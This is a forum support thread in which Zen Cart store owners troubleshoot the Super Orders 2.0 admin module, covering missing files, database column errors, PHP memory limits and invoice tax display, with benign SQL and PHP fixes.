./catalog/includes/extra_datafiles/super_orders_defines.php
./catalog/includes/modules/payment/purchaseorder.php
./catalog/includes/classes/super_order.php
./_upgrade/super_upgrade.php
Code:includes/languages/english/modules/payment/purchaseorder.php
includes/extra_datafiles/super_orders_defines.php
includes/modules/payment/purchaseorder.php
includes/classes/super_order.php
Philip.
I read through a b'jillion posts on this but can't find if this is workable off the shelf for 1.3.8
Yep, still working.:clap:Quote:
Originally Posted by serrow
Just installed 1.3.8 and installed "Super Order" after installation do not have "Super Order" text button to click on. What have I done wrong?
most likely not got these files
admin/includes/boxes/extra_boxes/super_orders_localization_dhtml.php
admin/includes/boxes/extra_boxes/super_orders_reports_dhtml.php
admin/includes/boxes/extra_boxes/super_orders_customers_dhtml.php
Thanks Philip
That sure got me going in the right direction. I found almost nothing was uploaded. I have been using FileZila and it showed it was transfering files and folders but when I check with File Manager nothing. I had to manually move the files and now it works perfectly.
I have one more mod that is not working, now I know what to check.
Larry
I have this problem after installed this super order 2.0 mod. after i clicked on the superorder link on the admin menu here is what i got:
ID Customers Order Total Date Purchased Payment Method Status Action
1054 Unknown column 'date_cancelled' in 'field list'
in:
[SELECT date_cancelled, date_completed FROM zen_orders WHERE orders_id = 1 AND (date_cancelled IS NOT NULL OR date_completed IS NOT NULL)]
If you were entering information, press the BACK button in your browser and re-check the information you had entered to be sure you left no blank fields.
and more error when I clicked on more time.
1054 Unknown column 'balance_due' in 'field list'
in:
[update zen_orders set balance_due = '297.69' where orders_id = 1]
If you were entering information, press the BACK button in your browser and re-check the information you had entered to be sure you left no blank fields.
Please help me!!!!
Thanks,
Dave Jr.
I got it folks... I just had to edit the sql queries and re-run in the sql server.Quote:
Originally Posted by Dave2006
ORIGINAL from sql file:
ALTER TABLE orders ADD date_completed datetime default NULL;
ALTER TABLE orders ADD date_cancelled datetime default NULL;
ALTER TABLE orders ADD balance_due decimal(14,2) default NULL;
MODIFIED to:
ALTER TABLE SUFFIX_orders ADD date_completed datetime default NULL;
ALTER TABLE SUFFIX_orders ADD date_cancelled datetime default NULL;
ALTER TABLE SUFFIX_orders ADD balance_due decimal(14,2) default NULL;
Thank you.
Dave Junior
Err hi, you shouldn't need to alter the SQL if you paste it or upload to the Install SQL Patches box in Admin, as it "should" automatically substitute your table prefixes into the SQL that is unless you are using an external tool susch as phpMyAdmin. This woud suggest an element of misconfiguration in your current setup and you should check the DB_PREFIX in admin/includes/configure.php.
philip.
Couple of stupid questions about super orders... :blush:
1) Does the orange refund button actually process and send the refund or does it just deduct it from the order total?
2) Are refunds recorded and itemized in any of the reports?
Thanks.
still having a problem with the invoice where it shows a column for tax and it says None! but then the tax shows up correctly in the total column on the right.Quote:
Originally Posted by rleepac
anyone know how to fix this?
Bekah
I'm hoping someone else may have experineced this issue. I have ben using SO for a long time now for batch update and batch print. Both of those pages all of a sudden changed the other day.
Those pages now only show:
Date range selection
current status
ordered product
and customer menus.
The missing sections are all the menus on the other side of the page such as:
payment method
order total
text search
and the search button.
Its really strange as I have not made any code changes or server changes at all and everything else is still working as usual. The only thing I have changed recently was that I added a new template but I have changed back to the old templat and it did not fix the issue. Any insight would be greatly appreciated.
Thanks
JON
Does the browser have a horizontal scroll bar at the bottom of the page, that is, did the menu items not really disappear but move off the screen?
No I wish that was the case. the menus are actually not on the page anymore. Looking at the source verifies this.
Thanks though.
Quote:
Originally Posted by carlvt88
Which page is this ? e.g.
http://XXX/super_orders.php or http://XXX/super_batch.php
Just the page name as I'm having a funny five minutes and have lost my place. (obviously I don't want your admin URL...yet).
admin\super_batch_forms.php
and
admin\super_batch_status.php
Quote:
Originally Posted by carlvt88
Quote:
Originally Posted by philip_clarke
on around line 147 in the file admin/super_batch_forms.php you should have
if you add a word like HELLOHTML Code:<td valign="top"><table border="0" cellspacing="3" cellpadding="0">
<tr>
<td class="smallText"><?php echo HEADING_SEARCH_PAYMENT_METHOD; ?></td>
<td class="smallText" colspan="3"><?php echo zen_draw_pull_down_menu('payments', $payments, $_GET['payments'], ''); ?></td>
That should pop up where you are missing the boxes. Of course if you don't have the code, then that could be the problem !HTML Code:<td valign="top">HELLO<table border="0" cellspacing="3" cellpadding="0">
<tr>
<td class="smallText"><?php echo HEADING_SEARCH_PAYMENT_METHOD; ?></td>
<td class="smallText" colspan="3"><?php echo zen_draw_pull_down_menu('payments', $payments, $_GET['payments'], ''); ?></td>
Now if it doesn't turn up you could look at admin/includes/languages/english/super_batch_forms.php because say if a < had popped into one of the defines, the it could muck up the html (although I acknowledge that you've said 'view source' shows it not appearing as HTML).
Philip.
Thank you for your response. I tried ading the "hello" as you sugested but nothing shows up. I also checked the admin/includes/languages/english/super_batch_forms and it doe snot appear to have any issues. I'm baffled as I really have not made any changes that would have any connection to this. That section of the code does not appear even at the source level.
Quote:
Originally Posted by philip_clarke
So to confirm, you do have the PHP code but HELLO or the other side does not show up even when changes are made ?
Put a hello in the top of the page, I can't remember on IE but it's something like shift+ctrl+R or f5 to refresh and clear the cache and if the HELLO does not show up then the wrong file is being edited or it's being cached. The next question would be where is the right file ? and that's a tricky one since it's in admin it is unlikely to have a template override where one file is being loaded in preference to another. I assume you have re-uploaded the file just in case of corruption (thinking to myself at the moment that this is a stupid comment to make because if you've edited the file to add HELLO then the file must be reasonably intact to have found the line).
Try adding Hello to another file like the super_orders.php main file, or creating a new file on the system and visiting it, because I know this may sound strange but the only thing I can think of it is that your hosting company moved your files and you're editing the wrong ones, it's the only thing that expains the non-appearance of the HELLO and the changes happening without youu doing anything.
Philip.
Yes I put the hello in the page and refreshed and the hello did show up in the source of the page so I am loading the correct file it seems but the other menus are still gone. It is very strange. I can't for the life of me figure out what could have happened or be causing this. I actually have a test site on another server and on the test site things are still working fine so I copied all the associated files from the test site and copied them over for good measure and still no change.
Quote:
Originally Posted by philip_clarke
Can you PM me, with the details because it looks like I'll have to have a look at it since you're editing the correct file and I can't think of anything to recreate this scenario.
Philip.
I have a question, I search this thread and found a few posts on it, but there old, and I am not sure the fixes are for this version. Super Orders is a great module and I have been using it for a long time, one thing that the order page did not have on my super orders was the shipping information, I have always had to get this from the new order e-mail, and when that did not come had to guess, but the more I think about it, there should be shipping information on the order page that tells you what type of shipping the order has, does super orders have this type of feature?, and if so could someone help me uncover it, at lest get me going in the right direction.
pete
I suspect that someone will contact you soon, I found out this morning that someone is selling their wares to modify this to display shipping information, and no doubt they are reading this thread.
Philip.
If you haven't had any luck yet, and you're a reasonable coder, this could get you started. In admin/super_orders.php, line 1182 shows:Change this toCode:<td class="dataTableContent" align="center"><?php echo zen_datetime_short($orders->fields['date_purchased']); ?></td>
and you should see the shipping method show up in the date column.Code:<td class="dataTableContent" align="center"><?php echo $orders->fields['shipping_method']; ?></td>
wapnoj & philip,
Did you ever figure out why waonoj super batch forms menu's were not showing? I started have the same problem about 3 weeks ago. I have gone in and reinstalled the mod again with no luck.
Philc
Could you PM him ? because I really don't remember what happened, the 50 email limit on the private messages means I haven't got anything stored in my current inbox. All I remember was that I couldn't recreate it. I do know that the "order total" select box is extremely tempramental and that part of ZC 1.3.8's security has to be disabled to get it working, but I'm looking at the test site that I set up, and I don't believe I was ever able to recreate the big. If you PM me and you really trust me, I could have a look. (I run the worldpay modules and update people's shipping as a service, frequently people give me access).
Philip.
Philip, no I have not found a solution at all. It is causing alot of issues. I would love to figure this out. I have even reuploaded all the files with no change. Very strange. If yout find anything please let me know and I will do the same.
Thanks
Quote:
Originally Posted by philc
If you email me with server details and don't mind, I could have a nose around the server and see what I can find, it'll be very late tonight though, this isn't "my" module and I've got other work on at the moment.
Philip.
I found the issue why page was not loading completely with Print Batch Form.
It was a php value memory limit. Goto file menu on the server find htaccess and look for php_value_memory_limit and change the memory limits. I changed mine to 128M and now it works fine.
Philc
Really ? half of one page is not being output because of a memory limit ? That sounds rather strange as I understood that the bug was that the whole page is being rendered apart from one small section ? I'm going to have go and lower my memory limits to have a look at this. Any recommendations about how many orders you have on the page for it to start exhibiting this behaviour.
Philip.
I still can't get this to repeat at all. I have set the memory limit so low that it breaks the entire page, but am still unable to get the error initially described on super_batch_forms.php where half the page is not rendered, I just get the normal page with the list at every point until I break the server. I'd really like to see if we are talking about two differing bugs or one very unusual one.
Philip.
Updated screenshot is attached. Slightly more heinous error. It appears that " marks in the product description break this mod. Is there a way to escape them out in the code??Quote:
Originally Posted by gezuvor
I have no orders at all. Its weh you go to the page for the first time. I still only see half the page and I always had my httacces set to 128M. Still no luck for me.
Quote:
Originally Posted by philip_clarke
OK I think there is somthing to the httacess thing now. I chnaged mine from 128 to 256 just to see what it would do and BAMM its working again. So now I'm just wondering why all of a sudded after 2 years was 128 not enough to run this?
JON
Quote:
Originally Posted by wapnoj
There is something seriously wrong with this module if it needs that much RAM but I can't still replicate it and get it to fail with a whole set of orders awaiting batch updating etc... one thing you guys could do is plant a php
<?php
echo "memory usage 1: ".memory_get_usage() . "<br />";
?>
at various points in the page to try and work out if there is some for of infinite loop happening that is cycling the usage up, there should be a jump somewhere if you add it to the parts of the page every 10 ~ 15 lines or so, then we could pinpoint where it's happening.
Philip.
Yes there is an easy way but I can't find where you are, as in which page you are looking at when you took that grab or how it is displayed. All that is needed is a htmlentities() in the correct place, but without knowing it's location...Quote:
Originally Posted by gezuvor
Philip.
:oops: Errm, Hi bad news actually, you're in the wrong place, you should be hereQuote:
Originally Posted by gezuvor
http://www.zen-cart.com/forum/showth...t=35111&page=2
where the original module is under the thread
Re: Info/Orders at a Glance Admin Contribution for 1.2.7 and 1.3.0.
and the errors you have have been described since 2006 with the last post for help at the beginning of 2008. It may be if you delve into the pages (I've only skimmed the thread), that you find an answer but it looks like the module and author may have departed.
(still doesn't mean it's not an easy fix if you know any php).
Philip.
Hi, im using Super Orders 2.0 on a store with 1.3.8.
When clicking Invoice on an order it shows products excluding tax. The order total is correct and also the total tax summare - I just want the products to show up including tax instead.
Can anyone please help me with this on? I have searched the forum and this thread but cant anything.
Please help me!
Thanks,
Jagge
Upon editing an order, a dialogue box uppops requesting the input of certain info. Some of the requested input is or appears to be a duplication of info already contained in an order (eg name (customer's name?) and order number).
Is it a requirement that all of the requested info be input, or just those bits that need to be changed?
Can SuperOrders be programmed to automatically collect and insert the relevent info into the appropriate box, whereupon select info can be edited in the input box as required?
Or am I missing something here?
Also I have recently added the Optional Shipping Insurance Mod to my cart, and am wondering how to get SuperOrders to edit the input of this or other modules - just in case this info needs to be edited.
TIA
Super orders is not being maintained by anyone, if you have any programming skills, perhaps you'd like to ? It needs a rewrite as it is based on a 2005 template and has several security issues. I already have more than enough modules on my plate.
Philip.
i think i properly uninstalled super orders 2.0. i recovered my DB & home dir from before i installed it, but it still shows up under admin>>config>super orders
how do i remove that?
thanks